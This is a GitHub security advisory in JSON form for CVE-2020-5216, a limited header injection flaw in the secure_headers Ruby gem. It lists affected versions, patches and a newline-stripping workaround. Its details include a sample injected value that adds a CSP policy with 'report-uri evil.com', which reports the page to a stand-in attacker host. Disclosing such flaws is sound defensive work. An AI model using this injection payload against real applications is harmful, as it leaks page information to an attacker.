CVE-2020-5216: Secure headers Limited Header Injection When Using Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w978-rmpf-qmwg",
  "modified" : "2023-05-16T16:11:19Z",
  "published" : "2020-01-23T02:27:53Z",
  "aliases" : [ "CVE-2020-5216" ],
  "summary" : "Limited header injection when using dynamic overrides with user input in RubyGems secure_headers",
  "details" : "### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "secure_headers"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.3.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "secure_headers"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "secure_headers"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2020-5216"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/twitter/secure_headers"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-113" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-01-23T02:27:18Z",
    "nvd_published_at" : null
  }
}